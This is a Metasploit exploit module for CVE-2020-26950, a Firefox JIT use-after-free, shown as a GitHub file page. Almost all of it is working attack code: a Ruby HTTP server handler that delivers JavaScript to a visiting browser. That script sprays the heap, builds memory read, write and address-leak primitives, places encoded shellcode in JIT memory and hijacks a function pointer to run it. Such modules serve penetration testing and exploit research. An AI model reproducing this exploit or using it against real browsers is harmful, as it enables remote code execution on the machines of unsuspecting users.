-
Notifications
You must be signed in to change notification settings - Fork 13.9k
/
firefox_jit_use_after_free.rb
456 lines (366 loc) · 22.9 KB
/
firefox_jit_use_after_free.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpServer::BrowserExploit
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Firefox MCallGetProperty Write Side Effects Use After Free Exploit',
'Description' => %q{
This modules exploits CVE-2020-26950, a use after free exploit in Firefox.
The MCallGetProperty opcode can be emitted with unmet assumptions resulting
in an exploitable use-after-free condition.
This exploit uses a somewhat novel technique of spraying ArgumentsData
structures in order to construct primitives. The shellcode is forced into
executable memory via the JIT compiler, and executed by writing to the JIT
region pointer.
This exploit does not contain a sandbox escape, so firefox must be run
with the MOZ_DISABLE_CONTENT_SANDBOX environment variable set, in order
for the shellcode to run successfully.
This vulnerability affects Firefox < 82.0.3, Firefox ESR < 78.4.1, and
Thunderbird < 78.4.2, however only Firefox <= 79 is supported as a target.
Additional work may be needed to support other versions such as Firefox 82.0.1.
},
'License' => MSF_LICENSE,
'Author' => [
'360 ESG Vulnerability Research Institute', # discovery
'maxpl0it', # writeup and exploit
'timwr', # metasploit module
],
'References' => [
['CVE', '2020-26950'],
['URL', 'https://www.mozilla.org/en-US/security/advisories/mfsa2020-49/#CVE-2020-26950'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1675905'],
['URL', 'https://www.sentinelone.com/labs/firefox-jit-use-after-frees-exploiting-cve-2020-26950/'],
],
'Arch' => [ ARCH_X64 ],
'Platform' => ['linux', 'windows'],
'DefaultTarget' => 0,
'Targets' => [
[ 'Automatic', {}],
],
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS ],
'Stability' => [CRASH_SAFE]
},
'DisclosureDate' => '2020-11-18'
)
)
end
def create_js_shellcode
shellcode = "AAAA\x00\x00\x00\x00" + "\x90\x90\x90\x90\x90\x90\x90\x90" + payload.encoded
if (shellcode.length % 8 > 0)
shellcode += "\x00" * (8 - shellcode.length % 8)
end
shellcode_js = ''
for chunk in 0..(shellcode.length / 8) - 1
label = (0x41 + chunk / 26).chr + (0x41 + chunk % 26).chr
shellcode_chunk = shellcode[chunk * 8..(chunk + 1) * 8]
shellcode_js += label + ' = ' + shellcode_chunk.unpack('E').first.to_s + "\n"
end
shellcode_js
end
def on_request_uri(cli, request)
print_status("Sending #{request.uri} to #{request['User-Agent']}")
shellcode_js = create_js_shellcode
jscript = <<~JS
// Triggers the vulnerability
function jitme(cons, interesting, i) {
interesting.x1 = 10; // Make sure the MSlots is saved
new cons(); // Trigger the vulnerability - Reallocates the object slots
// Allocate a large array on top of this previous slots location.
let target = [0,1,2,3,4,5,6,7,8,9,10,11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489]; // Goes on to 489 to be close to the number of properties ‘cons’ has
// Avoid Elements Copy-On-Write by pushing a value
target.push(i);
// Write the Initialized Length, Capacity, and Length to be larger than it is
// This will work when interesting == cons
interesting.x1 = 3.476677904727e-310;
interesting.x0 = 3.4766779039175e-310;
// Return the corrupted array
return target;
}
// Initialises vulnerable objects
function init() {
// arr will contain our sprayed objects
var arr = [];
// We'll create one object...
var cons = function() {};
for(j=0; j<512; j++) cons['x'+j] = j; // Add 512 properties (Large jemalloc allocation)
arr.push(cons);
// ...then duplicate it a whole bunch of times
// The number of times has two uses:
// - Heap spray - Stops any already freed objects getting in our way
// - Allows us to get the jitme function compiled
for (var i = 0; i < 20000; i++) arr.push(Object.assign(function(){}, cons));
// Return the array
return arr;
}
// Global that holds the total number of objects in our original spray array
TOTAL = 0;
// Global that holds the target argument so it can be used later
arg = 0;
evil = 0;
// setup_prim - Performs recursion to get the vulnerable arguments object
// arguments[0] - Original spray array
// arguments[1] - Recursive depth counter
// arguments[2]+ - Numbers to pad to the right reallocation size
function setup_prim() {
// Base case of our recursion
// If we have reached the end of the original spray array...
if(arguments[1] == TOTAL) {
// Delete an argument to generate the RareArgumentsData pointer
delete arguments[3];
// Read out of bounds to the next object (sprayed objects)
// Check whether the RareArgumentsData pointer is null
if(evil[511] != 0) return arguments;
// If it was null, then we return and try the next one
return 0;
}
// Get the cons value
let cons = arguments[0][arguments[1]];
// Move the pointer (could just do cons.p481 = 481, but this is more fun)
new cons();
// Recursive call
res = setup_prim(arguments[0], arguments[1]+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480 );
// If the returned value is non-zero, then we found our target ArgumentsData object, so keep returning it
if(res != 0) return res;
// Otherwise, repeat the base case (delete an argument)
delete arguments[3];
// Check if the next object has a null RareArgumentsData pointer
if(evil[511] != 0) return arguments; // Return arguments if not
// Otherwise just return 0 and try the next one
return 0;
}
// weak_read32 - Bit-by-bit read
function weak_read32(arg, addr) {
// Set the RareArgumentsData pointer to the address
evil[511] = addr;
// Used to hold the leaked data
let val = 0;
// Read it bit-by-bit for 32 bits
// Endianness is taken into account
for(let i = 32; i >= 0; i--) {
val = val << 1; // Shift
if(arg[i] == undefined) {
val = val | 1;
}
}
// Return the integer
return val;
}
// weak_read64 - Bit-by-bit read using BigUint64Array
function weak_read64(arg, addr) {
// Set the RareArgumentsData pointer to the address
evil[511] = addr;
// Used to hold the leaked data
val = new BigUint64Array(1);
val[0] = 0n;
// Read it bit-by-bit for 64 bits
for(let i = 64; i >= 0; i--) {
val[0] = val[0] << 1n;
if(arg[i] == undefined) {
val[0] = val[0] | 1n;
}
}
// Return the BigInt
return val[0];
}
// write_nan - Uses the bit-setting capability of the bitmap to create the NaN-Box
function write_nan(arg, addr) {
evil[511] = addr;
for(let i = 64 - 15; i < 64; i++) delete arg[i]; // Delete bits 49-64 to create 0xfffe pointer box
}
// write - Write a value to an address
function write(address, value) {
// Set the fake ArrayBuffer backing store address
address = dbl_to_bigint(address)
target_uint32arr[14] = parseInt(address) & 0xffffffff
target_uint32arr[15] = parseInt(address >> 32n);
// Use the fake ArrayBuffer backing store to write a value to a location
value = dbl_to_bigint(value);
fake_arrbuf[1] = parseInt(value >> 32n);
fake_arrbuf[0] = parseInt(value & 0xffffffffn);
}
// addrof - Gets the address of a given object
function addrof(arg, o) {
// Set the 5th property of the arguments object
arg[5] = o;
// Get the address of the 5th property
target = ad_location + (7n * 8n) // [len][deleted][0][1][2][3][4][5] (index 7)
// Set the fake ArrayBuffer backing store to point to this location
target_uint32arr[14] = parseInt(target) & 0xffffffff;
target_uint32arr[15] = parseInt(target >> 32n);
// Read the address of the object o
return (BigInt(fake_arrbuf[1] & 0xffff) << 32n) + BigInt(fake_arrbuf[0]);
}
// shellcode - Constant values which hold our shellcode to pop xcalc.
function shellcode(){
#{shellcode_js}
}
// helper functions
var conv_buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(conv_buf);
var u64_buf = new Uint32Array(conv_buf);
function dbl_to_bigint(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function bigint_to_dbl(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
function main() {
let i = 0;
// ensure the shellcode is in jit rwx memory
for(i = 0;i < 0x5000; i++) shellcode();
// The jitme function returns arrays. We'll save them, just in case.
let arr_saved = [];
// Get the sprayed objects
let arr = init();
// This is our target object. Choosing one of the end ones so that there is enough time for jitme to be compiled
let interesting = arr[arr.length - 10];
// Iterate over the vulnerable object array
for (i = 0; i < arr.length; i++) {
// Run the jitme function across the array
corr_arr = jitme(arr[i], interesting, i);
// Save the generated array. Never trust the garbage collector.
arr_saved[i] = corr_arr;
// Find the corrupted array
if(corr_arr.length != 491) {
// Save it for future evil
evil = corr_arr
break;
}
}
if(evil == 0) {
print("Failure: Failed to get the corrupted array");
return;
}
print("got the corrupted array " + evil.length);
TOTAL=arr.length;
arg = setup_prim(arr, i+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480);
old_rareargdat_ptr = evil[511];
print("Leaked nursery location: " + dbl_to_bigint(old_rareargdat_ptr).toString(16));
iterator = dbl_to_bigint(old_rareargdat_ptr); // Start from this value
counter = 0; // Used to prevent a while(true) situation
while(counter < 0x200) {
// Read the current address
output = weak_read32(arg, bigint_to_dbl(iterator));
// Check if it's the expected size value for our ArgumentsObject object
if(output == 0x1e10 || output == 0x1e20) {
// If it is, then read the ArgumentsData pointer
ad_location = weak_read64(arg, bigint_to_dbl(iterator + 8n));
// Get the pointer in ArgumentsData to RareArgumentsData
ptr_in_argdat = weak_read64(arg, bigint_to_dbl(ad_location + 8n));
// ad_location + 8 points to the RareArgumentsData pointer, so this should match
// We do this because after spraying arguments, there may be a few ArgumentObjects to go past
if((ad_location + 8n) == ptr_in_argdat) break;
}
// Iterate backwards
iterator = iterator - 8n;
// Increment counter
counter += 1;
}
if(counter == 0x200) {
print("Failure: Failed to get AD location");
return;
}
print("AD location: " + ad_location.toString(16));
// The target Uint32Array - A large size value to:
// - Help find the object (Not many 0x00101337 values nearby!)
// - Give enough space for 0xfffff so we can fake a Nursery Cell ((ptr & 0xfffffffffff00000) | 0xfffe8 must be set to 1 to avoid crashes)
target_uint32arr = new Uint32Array(0x101337);
// Find the Uint32Array starting from the original leaked Nursery pointer
iterator = dbl_to_bigint(old_rareargdat_ptr);
counter = 0; // Use a counter
while(counter < 0x5000) {
// Read a memory address
output = weak_read32(arg, bigint_to_dbl(iterator));
// If we have found the right size value, we have found the Uint32Array!
if(output == 0x101337) break;
// Check the next memory location
iterator = iterator + 8n;
// Increment the counter
counter += 1;
}
if(counter == 0x5000) {
print("Failure: Failed to find the Uint32Array");
return;
}
// Subtract from the size value address to get to the start of the Uint32Array
arr_buf_addr = iterator - 40n;
// Get the Array Buffer backing store
arr_buf_loc = weak_read64(arg, bigint_to_dbl(iterator + 16n));
print("AB Location: " + arr_buf_loc.toString(16));
// Create a fake ArrayBuffer through cloning
iterator = arr_buf_addr;
for(i=0;i<64;i++) {
output = weak_read32(arg, bigint_to_dbl(iterator));
target_uint32arr[i] = output;
iterator = iterator + 4n;
}
// Cell Header - Set it to Nursery to pass isNursery()
target_uint32arr[0x3fffa] = 1;
// Write an unboxed pointer to arguments[0]
evil[512] = bigint_to_dbl(arr_buf_loc);
// Make it NaN-Boxed
write_nan(arg, bigint_to_dbl(ad_location + 16n)); // Points to evil[512]/arguments[0]
// From here we have a fake UintArray in arg[0]
// Pointer can be changed using target_uint32arr[14] and target_uint32arr[15]
fake_arrbuf = arg[0];
// Get the address of the shellcode function object
shellcode_addr = addrof(arg, shellcode);
print("Function is at: " + shellcode_addr.toString(16));
// Get the jitInfo pointer in the JSFunction object
jitinfo = weak_read64(arg, bigint_to_dbl(shellcode_addr + 0x30n)); // JSFunction.u.native.extra.jitInfo_
print(" jitinfo: " + jitinfo.toString(16));
// We can then fetch the RX region from here
rx_region = weak_read64(arg, bigint_to_dbl(jitinfo));
print(" RX Region: " + rx_region.toString(16));
iterator = rx_region; // Start from the RX region
found = false
// Iterate to find the 0x41414141 value in-memory. 8 bytes after this is the start of the shellcode.
for(i = 0; i < 0x800; i++) {
data = weak_read64(arg, bigint_to_dbl(iterator));
if(data == 0x41414141n) {
iterator = iterator + 8n;
found = true;
break;
}
iterator = iterator + 8n;
}
if(!found) {
print("Failure: Failed to find the JIT start");
return;
}
// We now have a pointer to the start of the shellcode
shellcode_location = iterator;
print("Shellcode start: " + shellcode_location.toString(16));
// And can now overwrite the previous jitInfo pointer with our shellcode pointer
write(bigint_to_dbl(jitinfo), bigint_to_dbl(shellcode_location));
print("Triggering...");
shellcode(); // Triggering our shellcode is as simple as calling the function again.
}
main();
JS
jscript = add_debug_print_js(jscript)
html = %(
<html>
<script>
#{jscript}
</script>
</html>
)
send_response(cli, html, {
'Content-Type' => 'text/html',
'Cache-Control' => 'no-cache, no-store, must-revalidate',
'Pragma' => 'no-cache', 'Expires' => '0'
})
end
end